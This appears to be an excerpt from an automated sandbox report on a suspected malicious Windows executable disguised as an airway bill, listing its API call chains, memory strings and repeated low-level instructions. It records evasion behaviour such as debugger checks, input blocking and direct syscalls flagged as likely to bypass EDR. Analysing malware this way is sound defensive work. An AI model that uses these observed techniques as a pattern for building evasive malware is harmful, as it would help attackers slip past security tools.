Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0046F65E FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_0046F65E
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00463A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00463A2B
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_00463D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00463D4E
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_0046BF27 FindFirstFileW,FindNextFileW,FindClose,	0_2_0046BF27

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00404AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00404AFE

Source: firefox.exe, 00000006.00000002.19005813498.0000016E3A017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll1
Source: RpcPing.exe, 00000004.00000002.23185093416.0000000002DD2000.00000004.00000020.00020000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23185419592.0000000000BDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	API call chain: ExitProcess graph end node			graph_0-98308
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	API call chain: ExitProcess graph end node			graph_0-97879

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_02F71763 rdtsc

2_2_02F71763

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417CC3 LdrLoadDll,

2_2_00417CC3

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_004741FD BlockInput,

0_2_004741FD

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00403B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00403B4C

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_00435CCC EncodePointer,EncodePointer,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00435CCC

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe

Code function: 0_2_0047C304 LoadLibraryA,GetProcAddress,

0_2_0047C304

Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_01033500 mov eax, dword ptr fs:[00000030h]	0_2_01033500
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_010334A0 mov eax, dword ptr fs:[00000030h]	0_2_010334A0
Source: C:\Users\user\Desktop\AWB NO. 077-57676135055.exe	Code function: 0_2_01031E70 mov eax, dword ptr fs:[00000030h]	0_2_01031E70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F402F9 mov eax, dword ptr fs:[00000030h]	2_2_02F402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F402F9 mov eax, dword ptr fs:[00000030h]	2_2_02F402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F402F9 mov eax, dword ptr fs:[00000030h]	2_2_02F402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F402F9 mov eax, dword ptr fs:[00000030h]	2_2_02F402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F402F9 mov eax, dword ptr fs:[00000030h]	2_2_02F402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F402F9 mov eax, dword ptr fs:[00000030h]	2_2_02F402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F402F9 mov eax, dword ptr fs:[00000030h]	2_2_02F402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F402F9 mov eax, dword ptr fs:[00000030h]	2_2_02F402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F272E0 mov eax, dword ptr fs:[00000030h]	2_2_02F272E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A2E0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A2E0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A2E0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A2E0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A2E0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A2E0 mov eax, dword ptr fs:[00000030h]	2_2_02F3A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F382E0 mov eax, dword ptr fs:[00000030h]	2_2_02F382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F382E0 mov eax, dword ptr fs:[00000030h]	2_2_02F382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F382E0 mov eax, dword ptr fs:[00000030h]	2_2_02F382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F382E0 mov eax, dword ptr fs:[00000030h]	2_2_02F382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2D2EC mov eax, dword ptr fs:[00000030h]	2_2_02F2D2EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2D2EC mov eax, dword ptr fs:[00000030h]	2_2_02F2D2EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F532C5 mov eax, dword ptr fs:[00000030h]	2_2_02F532C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03003336 mov eax, dword ptr fs:[00000030h]	2_2_03003336
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F632C0 mov eax, dword ptr fs:[00000030h]	2_2_02F632C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F632C0 mov eax, dword ptr fs:[00000030h]	2_2_02F632C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2C2B0 mov ecx, dword ptr fs:[00000030h]	2_2_02F2C2B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEF2AE mov eax, dword ptr fs:[00000030h]	2_2_02FEF2AE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF92AB mov eax, dword ptr fs:[00000030h]	2_2_02FF92AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F542AF mov eax, dword ptr fs:[00000030h]	2_2_02F542AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F542AF mov eax, dword ptr fs:[00000030h]	2_2_02F542AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F292AF mov eax, dword ptr fs:[00000030h]	2_2_02F292AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F37290 mov eax, dword ptr fs:[00000030h]	2_2_02F37290
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F37290 mov eax, dword ptr fs:[00000030h]	2_2_02F37290
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F37290 mov eax, dword ptr fs:[00000030h]	2_2_02F37290
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE289 mov eax, dword ptr fs:[00000030h]	2_2_02FAE289
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2B273 mov eax, dword ptr fs:[00000030h]	2_2_02F2B273
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2B273 mov eax, dword ptr fs:[00000030h]	2_2_02F2B273
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2B273 mov eax, dword ptr fs:[00000030h]	2_2_02F2B273
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC327E mov eax, dword ptr fs:[00000030h]	2_2_02FC327E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC327E mov eax, dword ptr fs:[00000030h]	2_2_02FC327E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC327E mov eax, dword ptr fs:[00000030h]	2_2_02FC327E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC327E mov eax, dword ptr fs:[00000030h]	2_2_02FC327E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC327E mov eax, dword ptr fs:[00000030h]	2_2_02FC327E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FC327E mov eax, dword ptr fs:[00000030h]	2_2_02FC327E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FED270 mov eax, dword ptr fs:[00000030h]	2_2_02FED270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF124C mov eax, dword ptr fs:[00000030h]	2_2_02FF124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF124C mov eax, dword ptr fs:[00000030h]	2_2_02FF124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF124C mov eax, dword ptr fs:[00000030h]	2_2_02FF124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF124C mov eax, dword ptr fs:[00000030h]	2_2_02FF124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEF247 mov eax, dword ptr fs:[00000030h]	2_2_02FEF247
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5F24A mov eax, dword ptr fs:[00000030h]	2_2_02F5F24A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F50230 mov ecx, dword ptr fs:[00000030h]	2_2_02F50230
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB0227 mov eax, dword ptr fs:[00000030h]	2_2_02FB0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB0227 mov eax, dword ptr fs:[00000030h]	2_2_02FB0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB0227 mov eax, dword ptr fs:[00000030h]	2_2_02FB0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A22B mov eax, dword ptr fs:[00000030h]	2_2_02F6A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A22B mov eax, dword ptr fs:[00000030h]	2_2_02F6A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A22B mov eax, dword ptr fs:[00000030h]	2_2_02F6A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2821B mov eax, dword ptr fs:[00000030h]	2_2_02F2821B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBB214 mov eax, dword ptr fs:[00000030h]	2_2_02FBB214
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FBB214 mov eax, dword ptr fs:[00000030h]	2_2_02FBB214
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2A200 mov eax, dword ptr fs:[00000030h]	2_2_02F2A200
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F633D0 mov eax, dword ptr fs:[00000030h]	2_2_02F633D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F643D0 mov ecx, dword ptr fs:[00000030h]	2_2_02F643D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB43D5 mov eax, dword ptr fs:[00000030h]	2_2_02FB43D5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2E3C0 mov eax, dword ptr fs:[00000030h]	2_2_02F2E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2E3C0 mov eax, dword ptr fs:[00000030h]	2_2_02F2E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2E3C0 mov eax, dword ptr fs:[00000030h]	2_2_02F2E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2C3C7 mov eax, dword ptr fs:[00000030h]	2_2_02F2C3C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F363CB mov eax, dword ptr fs:[00000030h]	2_2_02F363CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAC3B0 mov eax, dword ptr fs:[00000030h]	2_2_02FAC3B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F393A6 mov eax, dword ptr fs:[00000030h]	2_2_02F393A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F393A6 mov eax, dword ptr fs:[00000030h]	2_2_02F393A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5A390 mov eax, dword ptr fs:[00000030h]	2_2_02F5A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5A390 mov eax, dword ptr fs:[00000030h]	2_2_02F5A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5A390 mov eax, dword ptr fs:[00000030h]	2_2_02F5A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F31380 mov eax, dword ptr fs:[00000030h]	2_2_02F31380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F31380 mov eax, dword ptr fs:[00000030h]	2_2_02F31380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F31380 mov eax, dword ptr fs:[00000030h]	2_2_02F31380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F31380 mov eax, dword ptr fs:[00000030h]	2_2_02F31380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F31380 mov eax, dword ptr fs:[00000030h]	2_2_02F31380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4F380 mov eax, dword ptr fs:[00000030h]	2_2_02F4F380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4F380 mov eax, dword ptr fs:[00000030h]	2_2_02F4F380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4F380 mov eax, dword ptr fs:[00000030h]	2_2_02F4F380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4F380 mov eax, dword ptr fs:[00000030h]	2_2_02F4F380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4F380 mov eax, dword ptr fs:[00000030h]	2_2_02F4F380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4F380 mov eax, dword ptr fs:[00000030h]	2_2_02F4F380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEF38A mov eax, dword ptr fs:[00000030h]	2_2_02FEF38A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE372 mov eax, dword ptr fs:[00000030h]	2_2_02FAE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE372 mov eax, dword ptr fs:[00000030h]	2_2_02FAE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE372 mov eax, dword ptr fs:[00000030h]	2_2_02FAE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FAE372 mov eax, dword ptr fs:[00000030h]	2_2_02FAE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB0371 mov eax, dword ptr fs:[00000030h]	2_2_02FB0371
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB0371 mov eax, dword ptr fs:[00000030h]	2_2_02FB0371
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5237A mov eax, dword ptr fs:[00000030h]	2_2_02F5237A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3B360 mov eax, dword ptr fs:[00000030h]	2_2_02F3B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3B360 mov eax, dword ptr fs:[00000030h]	2_2_02F3B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3B360 mov eax, dword ptr fs:[00000030h]	2_2_02F3B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3B360 mov eax, dword ptr fs:[00000030h]	2_2_02F3B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3B360 mov eax, dword ptr fs:[00000030h]	2_2_02F3B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3B360 mov eax, dword ptr fs:[00000030h]	2_2_02F3B360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E363 mov eax, dword ptr fs:[00000030h]	2_2_02F6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E363 mov eax, dword ptr fs:[00000030h]	2_2_02F6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E363 mov eax, dword ptr fs:[00000030h]	2_2_02F6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E363 mov eax, dword ptr fs:[00000030h]	2_2_02F6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E363 mov eax, dword ptr fs:[00000030h]	2_2_02F6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E363 mov eax, dword ptr fs:[00000030h]	2_2_02F6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E363 mov eax, dword ptr fs:[00000030h]	2_2_02F6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6E363 mov eax, dword ptr fs:[00000030h]	2_2_02F6E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6A350 mov eax, dword ptr fs:[00000030h]	2_2_02F6A350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F28347 mov eax, dword ptr fs:[00000030h]	2_2_02F28347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F28347 mov eax, dword ptr fs:[00000030h]	2_2_02F28347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F28347 mov eax, dword ptr fs:[00000030h]	2_2_02F28347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300B2BC mov eax, dword ptr fs:[00000030h]	2_2_0300B2BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300B2BC mov eax, dword ptr fs:[00000030h]	2_2_0300B2BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300B2BC mov eax, dword ptr fs:[00000030h]	2_2_0300B2BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0300B2BC mov eax, dword ptr fs:[00000030h]	2_2_0300B2BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030032C9 mov eax, dword ptr fs:[00000030h]	2_2_030032C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F68322 mov eax, dword ptr fs:[00000030h]	2_2_02F68322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F68322 mov eax, dword ptr fs:[00000030h]	2_2_02F68322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F68322 mov eax, dword ptr fs:[00000030h]	2_2_02F68322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5332D mov eax, dword ptr fs:[00000030h]	2_2_02F5332D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2E328 mov eax, dword ptr fs:[00000030h]	2_2_02F2E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2E328 mov eax, dword ptr fs:[00000030h]	2_2_02F2E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2E328 mov eax, dword ptr fs:[00000030h]	2_2_02F2E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E310 mov eax, dword ptr fs:[00000030h]	2_2_02F4E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E310 mov eax, dword ptr fs:[00000030h]	2_2_02F4E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4E310 mov eax, dword ptr fs:[00000030h]	2_2_02F4E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6631F mov eax, dword ptr fs:[00000030h]	2_2_02F6631F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F29303 mov eax, dword ptr fs:[00000030h]	2_2_02F29303
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F29303 mov eax, dword ptr fs:[00000030h]	2_2_02F29303
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEF30A mov eax, dword ptr fs:[00000030h]	2_2_02FEF30A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB330C mov eax, dword ptr fs:[00000030h]	2_2_02FB330C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB330C mov eax, dword ptr fs:[00000030h]	2_2_02FB330C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB330C mov eax, dword ptr fs:[00000030h]	2_2_02FB330C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FB330C mov eax, dword ptr fs:[00000030h]	2_2_02FB330C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2C0F6 mov eax, dword ptr fs:[00000030h]	2_2_02F2C0F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6D0F0 mov eax, dword ptr fs:[00000030h]	2_2_02F6D0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F6D0F0 mov ecx, dword ptr fs:[00000030h]	2_2_02F6D0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F290F8 mov eax, dword ptr fs:[00000030h]	2_2_02F290F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F290F8 mov eax, dword ptr fs:[00000030h]	2_2_02F290F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F290F8 mov eax, dword ptr fs:[00000030h]	2_2_02F290F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F290F8 mov eax, dword ptr fs:[00000030h]	2_2_02F290F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F4B0D0 mov eax, dword ptr fs:[00000030h]	2_2_02F4B0D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2B0D6 mov eax, dword ptr fs:[00000030h]	2_2_02F2B0D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2B0D6 mov eax, dword ptr fs:[00000030h]	2_2_02F2B0D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2B0D6 mov eax, dword ptr fs:[00000030h]	2_2_02F2B0D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2B0D6 mov eax, dword ptr fs:[00000030h]	2_2_02F2B0D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03005149 mov eax, dword ptr fs:[00000030h]	2_2_03005149
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FEB0AF mov eax, dword ptr fs:[00000030h]	2_2_02FEB0AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F700A5 mov eax, dword ptr fs:[00000030h]	2_2_02F700A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03003157 mov eax, dword ptr fs:[00000030h]	2_2_03003157
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03003157 mov eax, dword ptr fs:[00000030h]	2_2_03003157
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03003157 mov eax, dword ptr fs:[00000030h]	2_2_03003157
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02FDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02FDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02FDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02FDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02FDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02FDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FDF0A5 mov eax, dword ptr fs:[00000030h]	2_2_02FDF0A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2A093 mov ecx, dword ptr fs:[00000030h]	2_2_02F2A093
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2C090 mov eax, dword ptr fs:[00000030h]	2_2_02F2C090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F37072 mov eax, dword ptr fs:[00000030h]	2_2_02F37072
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36074 mov eax, dword ptr fs:[00000030h]	2_2_02F36074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F36074 mov eax, dword ptr fs:[00000030h]	2_2_02F36074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FD9060 mov eax, dword ptr fs:[00000030h]	2_2_02FD9060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F31051 mov eax, dword ptr fs:[00000030h]	2_2_02F31051
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F31051 mov eax, dword ptr fs:[00000030h]	2_2_02F31051
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F60044 mov eax, dword ptr fs:[00000030h]	2_2_02F60044
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030051B6 mov eax, dword ptr fs:[00000030h]	2_2_030051B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F2D02D mov eax, dword ptr fs:[00000030h]	2_2_02F2D02D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F72010 mov ecx, dword ptr fs:[00000030h]	2_2_02F72010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F55004 mov eax, dword ptr fs:[00000030h]	2_2_02F55004
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F55004 mov ecx, dword ptr fs:[00000030h]	2_2_02F55004
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F38009 mov eax, dword ptr fs:[00000030h]	2_2_02F38009
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F291F0 mov eax, dword ptr fs:[00000030h]	2_2_02F291F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F291F0 mov eax, dword ptr fs:[00000030h]	2_2_02F291F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F401F1 mov eax, dword ptr fs:[00000030h]	2_2_02F401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F401F1 mov eax, dword ptr fs:[00000030h]	2_2_02F401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F401F1 mov eax, dword ptr fs:[00000030h]	2_2_02F401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5F1F0 mov eax, dword ptr fs:[00000030h]	2_2_02F5F1F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F5F1F0 mov eax, dword ptr fs:[00000030h]	2_2_02F5F1F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A1E3 mov eax, dword ptr fs:[00000030h]	2_2_02F3A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A1E3 mov eax, dword ptr fs:[00000030h]	2_2_02F3A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A1E3 mov eax, dword ptr fs:[00000030h]	2_2_02F3A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A1E3 mov eax, dword ptr fs:[00000030h]	2_2_02F3A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02F3A1E3 mov eax, dword ptr fs:[00000030h]	2_2_02F3A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02FF81EE mov eax, dword ptr fs:[00000030h]	2_2_02FF81EE
